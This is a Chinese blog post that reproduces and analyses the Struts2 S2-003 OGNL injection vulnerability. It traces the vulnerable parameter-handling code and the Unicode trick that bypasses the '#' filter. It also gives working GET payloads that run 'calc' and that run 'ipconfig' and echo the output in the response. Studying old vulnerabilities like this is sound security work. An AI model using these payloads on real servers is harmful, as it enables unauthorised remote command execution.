『Java安全』Struts2 2.1.8.1 参数名OGNL注入漏洞S2-003复现与浅析

漏洞简介

Struts 2解析参数名称使用了OGNL表达式,构建恶意OGNL表达式会造成注入

影响范围

Struts ≤ 2.1.8.1并且部署在tomcat6

tomcat archive

漏洞复现

环境配置

8u111 + Struts 2.1.8.1 + tomcat 6.0.10,S2只需要下面这五个jar

在这里插入图片描述
只需要写一个简单Action接受参数即可

在这里插入图片描述
在struts.xml注册action

在这里插入图片描述

复现操作

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)(aaa)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(aaa)(aaa)

向rce.action发送GET请求即可

在这里插入图片描述

代码审计

观察payload是用了OGNL表达式特性来构造的:
(a)(b),具体看su18师傅的解析很全面了,简而言之就是b任意、会对a进行两次解析一次为字符串、一次是表达式解析

在S2-001审计里面知道:ParameterInterceptor类用来处理请求参数,看一下doIntercept方法:set之前设置了参数关闭了执行功能,所以要在OGNL注入前把这个参数打开

在这里插入图片描述
这个参数是在上下文里面,直接修改context["xwork.MethodAccessor.denyMethodExecution"]=false即可

在这里插入图片描述
修改变量用#

('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(aaa)

接着来到setParameters方法,首先调用acceptableName方法获取参数名称

在这里插入图片描述
进行校验是否合法

在这里插入图片描述
进行了正则判断,过滤了#,那么上面修改context参数就要想办法绕过

在这里插入图片描述
先往后看,合法后就会依次获取参数键值,然后解析存入参数栈

在这里插入图片描述
setValue之前对参数键值进行了compile操作

在这里插入图片描述
继续追入,调用OnglParserTokenMananger来读取字符串

在这里插入图片描述
其中又调用了JavaCharStream都readChar方法,可以看到这里兼容unicode,因此上面绕过就可以使用#的unicode绕过,这里给静态变量赋值的=也要unicode编码一下

在这里插入图片描述

之后就是调用OgnlUtil.setValue()OGNL解析了,该方法在解析的时候需要多一个节点,所以在payload后面是两个节点

流程

  • OGNL以节点(payload)(aaa)(bbb)形式传入
  • 修改参数context[\'xwork.MethodAccessor.denyMethodExecution\']
  • unicode编码

利用

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

参考

https://cwiki.apache.org/confluence/display/WW/S2-003
https://su18.org/post/struts2-1/#s2-003
https://www.cnblogs.com/devi1/p/13486634.html

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126087500
版权声明:本文为原创,转载时须注明出处及本声明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值